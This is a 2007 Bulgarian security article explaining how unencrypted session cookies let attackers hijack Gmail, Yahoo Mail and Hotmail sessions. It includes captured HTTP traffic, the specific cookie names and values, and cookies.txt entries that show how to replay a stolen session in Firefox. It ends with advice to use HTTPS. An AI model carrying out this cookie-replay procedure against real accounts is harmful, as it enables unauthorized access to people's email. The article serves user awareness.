от TarmacFrenzy(19-08-2007)

рейтинг (41)   [ добре ]  [ зле ]

Printer Friendly Вариант за отпечатване


Проблеми при някои уеб базирани пощи (Gmail, Yahoo, Hotmail)



Тази статия има за цел да хвърли светлина върху проблемите при използване на бисквити, запаметени от браузър, в частност при изброените webmail доставчици. Проблемът е генерален и засяга разглеждания метод за оторизиране и продължаване на сесия при голям брой уеб приложения.

Мотивът за написването на този документ е единствено информиране на потребителите за възможностите за злоумишленост, произлизащи от някои начини на използване на услугата и не достатъчно високото ниво на сигурност по подразбиране.

Използването на бисквити, като метод за автентикация при достъп несъмнено улеснява потребителите - не се налага многократно въвеждане на потребителско име/парола при посещаване на сайт или след затваряне на браузър. Всеки един от упоменатите доставчици на услугата предоставя избор на тази опция, обикновено под полето за име и парола, например: "save my e-mail and password" или "remember me on this computer".


 
Въпреки че съдържанието им е криптирано, предаването на бисквити към и от клиента по подразбиране се извършва в нешифриран вид, което е същината на проблема - при разглежданите условия има риск от клониране на сесията, независимо от типа браузър, os или ip адрес на атакуващия.

Дори след приключването на сесията си потребителят да е избрал "log off" от webmail системата, и да изчисти запазените бисквити от браузъра си, то той вече е уязвим от replay (или преиграване) на сесията му. Не необходимо същият непременно да се нуждае от запазване на името и паролата му, достатъчно е само веднъж, било то дори по невнимание, да избере тази опция. Дори моментална промяна на парола не е решение (live.com).

Наскоро този тип атака беше демонстрирана на Defcon #15 в LA. За атакуващият е необходимо потребителят да избере разглежданата възможност и да прихване определен трафик помежду клиент и сървър. Типичен пример за как това би се проиграло може да бъде незащитена wifi мрежа (все още ги има в изобилие) или административен достъп до маршрутизатор или друго логическо/физическо устройство, през което минава клиентски трафик, в т.ч. web cache.


1. Gmail

kismet запазва прихванатия трафик в pcap формат, след което може да бъде разгледан с wireshark или посредством strings/grep.

Комуникация при google mail:

[клиент]

GET /mail/?auth=BQAAAHQAAABafotoC1eSgD5R5iUFrqxTDIiT5L-MV_bzmCDirYOW-
RN9Fpbsgo8Y2oIShAr5Aewlrb2lkW7O1KdlOaJZzpyzrCfkc8MehtsxHCOz5ECeSNYkhpi
7sIefi2SQ2kdA8x1oY7zPADyOTAbVR6qcqzlge6ohpW9nMuZ3OqxqVibpNg HTTP/1.1

Host: mail.google.com
User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1) Gecko/20070507 Firefox/2.0
Accept: text/xml,application/xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

Cookie: __utma=173272373.540992049.1187505597.1187505597.1187505597.1; __utmb=173272373; __utmc=173272373; __utmx=173272373.
00000444592142287121:1:; __utmz=173272373.1187505597.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); TZ=-180; GMAIL_RTT=1
10; GMAIL_LOGIN=T1187505606874/1187505606874/1187505614935; rememberme=true; SID=BQAAAHIAAACuJd-iRY8Jsr-0JR1PHDZoHNWw3L-4zOZ
3ntM6AaNWFHGY9Oq7a-m_wYGrNYq5fX_by1WqAzkbAUlgmg_BMYcjyVCAT9M3EMS
OIaSTb8gTLeqAVMnnbK0NleQEK3OXGrfqVXmffZOi-kr7nxavIz1Yl78BZ6ObU3AfJG0mt
Ip20Q


[сървър]

HTTP/1.1 200 OK

Set-Cookie: GV=EXPIRED;Domain=mail.google.com;Path=/;Expires=Mon, 01-Jan-1990 00:00:00 GMT
Set-Cookie: GV=EXPIRED;Domain=mail.google.com;Path=/mail;Expires=Mon, 01-Jan-1990 00:00:00 GMT
Set-Cookie: GX=BQAAAHIAAADxZxb0Jcp997cmWyOCFgPY1BVQ3ifxwNEWjjCLJulHzY3N
Jg7QLpB17cgNtXoREd8zD5QxiL7l4AX12Gkr0NY9CmfdKaO4LK1z1Wf3dPBZPbitRL_ZsTN
CG8GFuM23K0u97lU3ouY0fylBpxCtrkZozgupRu2QEnOlgMrcdUjsiw;
Expires=Sun, 02-Sep-07 06:40:21 GMT; Path=/mail

Set-Cookie: S=gmail=Msol9MQ_sime0bGv5b09Hw:gmail_yj=WVgqYQYXfnjioxzmW2ct2Q :gmproxy=4bI8qw6GYx4:gmproxy_yj= LSpPl_V_Q-s:gmproxy_yj_sub=Ltl-n5mUrnQ; Path=/mail
Set-Cookie: GMAIL_AT=d650cb1cfc46eecd-1147cd9c916; Path=/mail
Set-Cookie: GMAIL_RTT=EXPIRED; Domain=.google.com; Expires=Sat, 18-Aug-07 06:40:21 GMT; Path=/mail
Set-Cookie: GMAIL_HELP=hosted:0;Path=/
Set-Cookie: S=gmail=Msol9MQ_sime0bGv5b09Hw:gmail_yj=WVgqYQYXfnjioxzmW2ct2Q: gmproxy=4bI8qw6GYx4:
gmproxy_yj=LSpPl_V_Q-s:gmproxy_yj_sub= Ltl-n5mUrnQ; Domain=.google.com; Path=/

Cache-control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Encoding: gzip
Content-Length: 1089
Server: GFE/1.3
Date: Sun, 19 Aug 2007 06:40:21 GMT


Обърнете внимание на бисквитата с име GX. Тя може да бъде репликирана по следния начин в cookie файла на браузъра (в случая firefox 2.x):


# HTTP Cookie File
# http://www.netscape.com/newsref/std/cookie_spec.html
# This is a generated file!  Do not edit.
# To delete cookies, use the Cookie Manager.

mail.google.com FALSE   /mail   FALSE   1188715216      GX      BQAAAHIAAADxZxb0Jcp997cmWyOCFgPY1BVQ3ifxwNEWjjCLJulHzY3NJg7QLpB
17cgNtXoREd8zD5QxiL7l4AX12Gkr0NY9CmfdKaO4LK1z1Wf3dPBZPbitRL_ZsTN
CG8GFuM23K0u97lU3ouY0fylBpxCtrkZozgupRu2QEnOlgMrcdUjsiw


$ firefox http://gmail.com

Добре е да се спомене, че използване на SSL сесия от начало до край (зареждане на https://mail.google.com), прави този тип атака неосъществима. За разлика от Gmail, Yahoo и Hotmail не предлагат такава възможност към днешна дата (SSL връзка се инициализира само в начало при логване, но не и през останалото време на сесията), което би следвало да бъде известно на потребителите на услугата, споменато поне в SLA.


2. Yahoo! Mail

Сървърите на Yahoo ще пратят доста бисквити, но от интерес са тези с име T и Y:

Cookie: B=7lbg4593cfpvf&b=3&s=99; F=a=lnnd_KkMvT5mK.Md9lh1oSCmGwdqH3YUO_n944kQu3d_o7hgBCVY
PVlI1WPtiUQzG_e0FEbiNA7Wvpuh1D0MdkaDPg--&b=ZNUM; YLS=v=1&p=1&n=1; Y=v=1&n=5rfuaph3cfnl8&l=2eea844n0cfb4/o&p=m2g2p20012000 000&r=i4&lg=en-US&intl=us; PH=fn=aMSkLoyIjWBi3XaskXM_&l=en-US; T=z=/s.xGB/zl2GBlR0bvPzMPF9MzNPBj
UwNDEyMDBONDI-&a=QAE&sk= DAAhdDOI6/mFE8&d=c2wBTkRRNEFUS
TNNelkxTnpjNU16VS0BYQFRQUUBdGlwAVRSZVFfQwF6egEvZi54R0JBN0U-;
YM.Gen=i=lvYPEnVEk8hxqmNPCA--&v=2; HP=1

[cookies.txt]

.yahoo.com      TRUE    /       FALSE   2127585595      Y       v=1&n=5rfuaph3cfnl8&l=2eea844n0cfb4/o&p=m2g2p20012000000&r=i4&lg=en-US&intl=us
.yahoo.com      TRUE    /       FALSE   2127585595      T       z=/s.xGB/zl2GBlR0bvPzMPF9MzNPBjUwNDEyMDBONDI-&a=QAE&sk=
DAAhdDOI6/mFE8&d=c2wBTkRRNEFUSTNNelkxTnpjNU16VS0BYQFRQUU
BdGlwAVRSZVFfQwF6egEvZi54R0JBN0U-


$ firefox mail.yahoo.com


3. Hotmail

Дори много повече бисквити, а необходима е само стойността на RPSTAuth:

.live.com       TRUE    /       FALSE   2145801595      RPSTAuth        LwDQARAnAAAURATre1Nkcu71L953y0QRAvwyKdOAAIuOXv68MV6yQyQsUj+3Z6AxRso0zdF6Jk4R
0NEa7Yf+qGsbj8RWH8t8L+V+KfSAwZCbz0zfJ9/pus/yEoGgiXYwoJ7Bh9iFXH6tdFKgCfdoFGq2
bOapKahrTZHNcJRUn8zAN4762VbJ2QnDCIzBy09OPzsASutHZDjh3n6Rb5GA2YAAAgvt+XUayhPL
yABpn8UtD+TrVifYOqJz28+pWkE80K1l+Sh/D1FoYhhKyJXNymZ0JakuF4LQMIi+cRv1x7Tu8f88
pA1WLSlQAbdR6N5+2dAoh6su8mC1ITxMLlKOp1P/tLsZWaZuxixYPvxDUAJ/XBqDv8O4rpqOGa32
y+9+fI49PFZl8srnaiHx850q+fb1TssXgj+K+92Eu1Dy8nv3ABiMUSy6r0gEm3kgSGQwMk/sgeiy
hydwuY5pLGIwSNOVjepBhtzh4par9EC5Ks/jLaIWt+RGR5iU/GkUVQkR7RfrAsSVWdB/Uu4DXHeC
V5M7g59n0oYutT8dFX9/1c7/woH/PRypgDVP/w6TCDL5K3djpQSZNVCpIRVAxtoA4Jtq91ROdDf8
MXDYq15OwE=



$ firefox mail.live.com  (не директно hotmail.com)


Какво можете да направите?

Aко решите да забраните бисквити от разглежданите места, просто няма да можете да се логнете към тях. Можете да използвате винаги https://mail.google.com, да не се логвате към пощата си от публични/недоверени мрежи.


Връзки


[1] http://www.tgdaily.com/content/view/33207/108/
[2] http://www.kismetwireless.net
[3] http://en.wikipedia.org/wiki/DEF_CON
[4] http://www.faqs.org/rfcs/rfc2109.html





<< | >>